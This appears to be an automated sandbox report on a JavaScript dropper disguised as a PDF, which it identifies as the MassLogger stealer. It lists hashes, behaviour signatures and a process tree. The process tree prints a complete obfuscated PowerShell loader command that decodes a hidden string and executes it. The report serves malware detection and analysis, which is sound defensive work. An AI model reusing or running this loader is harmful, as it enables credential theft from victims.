Analysis

  • max time kernel
    135s
  • max time network
    117s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-08-2024 22:01

General

  • Target

    specifikace_projektu_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js

  • Size

    3KB

  • MD5

    ea79f170b2f7531f6aae0190cfac32d3

  • SHA1

    06a49ce472f34b717e2ef5ea2fe758b36bbeaf8a

  • SHA256

    8f0a1868051989d74f2a968a6f326c7ad3c442b4d1b90933a93e3851bebc26a4

  • SHA512

    9a79ca5c74671dca4fdf607fdbd67b1f42afac4239f5de83499cb8e70fd971a9a4c976599baeebb3e060f31229021d6f9110693ed0fd8d6237b2d4eedca94b4b

Malware Config

Signatures

  • MassLogger

    Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.

  • MassLogger Main payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\specifikace_projektu_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js
    1⤵
      PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -ExecutionPolicy Bypass $WtsGi='D4!C7!72!72!02!E6!96!F6!A6!D2!02!37!27!16!86!34!96!96!36!37!16!42!02!D3!76!E6!96!27!47!35!96!96!36!37!16!42!B3!D7!22!F5!42!87!03!22!D5!56!47!97!26!B5!D5!27!16!86!36!B5!B7!02!47!36!56!A6!26!F4!D2!86!36!16!54!27!F6!64!C7!02!72!D2!72!02!47!96!C6!07!37!D2!02!67!D6!42!02!D3!37!27!16!86!34!96!96!36!37!16!42!B3!92!72!76!07!A6!E2!13!13!44!F2!27!76!E2!37!96!46!96!E6!96!46!16!46!16!B6!96!47!37!96!47!07!16!67!E2!27!56!47!47!56!C6!37!77!56!E6!F2!F2!A3!07!47!47!86!72!C2!46!F6!86!47!56!D4!A3!A3!D5!56!07!97!45!C6!C6!16!34!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!C2!72!76!E6!96!27!47!35!46!16!F6!C6!E6!77!F6!44!72!C2!97!47!47!42!82!56!D6!16!E6!97!24!C6!C6!16!34!A3!A3!D5!E6!F6!96!47!36!16!27!56!47!E6!94!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!02!D3!67!D6!42!B3!92!72!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!72!82!56!D6!16!E4!C6!16!96!47!27!16!05!86!47!96!75!46!16!F6!C4!A3!A3!D5!97!C6!26!D6!56!37!37!14!E2!E6!F6!96!47!36!56!C6!66!56!25!E2!D6!56!47!37!97!35!B5!02!D5!46!96!F6!67!B5!B3!D4!C7!72!92!47!E6!56!72!B2!72!96!C6!34!26!72!B2!72!56!75!E2!47!72!B2!72!56!E4!02!47!36!72!B2!72!56!A6!26!F4!72!B2!72!D2!77!56!E4!82!72!D3!97!47!47!42!B3!23!23!07!42!02!D3!02!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!A3!A3!D5!27!56!76!16!E6!16!D4!47!E6!96!F6!05!56!36!96!67!27!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!B3!92!23!73!03!33!02!C2!D5!56!07!97!45!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!82!47!36!56!A6!26!F4!F6!45!A3!A3!D5!D6!57!E6!54!B5!02!D3!02!23!23!07!42!B3!92!76!E6!96!07!42!82!02!C6!96!47!E6!57!02!D7!47!56!96!57!15!D2!02!13!02!47!E6!57!F6!36!D2!02!D6!F6!36!E2!56!C6!76!F6!F6!76!02!07!D6!F6!36!D2!02!E6!F6!96!47!36!56!E6!E6!F6!36!D2!47!37!56!47!02!D3!02!76!E6!96!07!42!B7!02!F6!46!B3!56!E6!F6!26!45!42!02!D4!02!C6!16!37!B3!92!72!94!72!C2!72!E3!72!82!56!36!16!C6!07!56!27!E2!72!85!54!E3!72!D3!56!E6!F6!26!45!42';$text =$WtsGi.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('!') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`x
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4380
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:3688

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eehptpom.yla.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3688-34-0x00000000067B0000-0x00000000067BA000-memory.dmp

      Filesize

      40KB

    • memory/3688-36-0x0000000075060000-0x0000000075810000-memory.dmp

      Filesize

      7.7MB

    • memory/3688-35-0x000000007506E000-0x000000007506F000-memory.dmp

      Filesize

      4KB

    • memory/3688-32-0x0000000006660000-0x00000000066B0000-memory.dmp

      Filesize

      320KB

    • memory/3688-33-0x0000000006840000-0x00000000068DC000-memory.dmp

      Filesize

      624KB

    • memory/3688-21-0x0000000000400000-0x0000000000486000-memory.dmp

      Filesize

      536KB

    • memory/3688-31-0x0000000075060000-0x0000000075810000-memory.dmp

      Filesize

      7.7MB

    • memory/3688-30-0x0000000005FA0000-0x0000000006006000-memory.dmp

      Filesize

      408KB

    • memory/3688-29-0x00000000058F0000-0x0000000005E94000-memory.dmp

      Filesize

      5.6MB

    • memory/3688-27-0x00000000052A0000-0x0000000005332000-memory.dmp

      Filesize

      584KB

    • memory/3688-25-0x0000000075060000-0x0000000075810000-memory.dmp

      Filesize

      7.7MB

    • memory/3688-24-0x000000007506E000-0x000000007506F000-memory.dmp

      Filesize

      4KB

    • memory/4380-20-0x0000018ABED30000-0x0000018ABED46000-memory.dmp

      Filesize

      88KB

    • memory/4380-16-0x0000018ABED10000-0x0000018ABED2C000-memory.dmp

      Filesize

      112KB

    • memory/4380-19-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB

    • memory/4380-18-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB

    • memory/4380-17-0x0000018ABE940000-0x0000018ABEB5C000-memory.dmp

      Filesize

      2.1MB

    • memory/4380-28-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB

    • memory/4380-26-0x0000018ABE940000-0x0000018ABEB5C000-memory.dmp

      Filesize

      2.1MB

    • memory/4380-0-0x00007FFD80083000-0x00007FFD80085000-memory.dmp

      Filesize

      8KB

    • memory/4380-14-0x00007FFD80083000-0x00007FFD80085000-memory.dmp

      Filesize

      8KB

    • memory/4380-15-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB

    • memory/4380-13-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB

    • memory/4380-12-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB

    • memory/4380-10-0x0000018ABEC90000-0x0000018ABECB2000-memory.dmp

      Filesize

      136KB

    • memory/4380-11-0x00007FFD80080000-0x00007FFD80B41000-memory.dmp

      Filesize

      10.8MB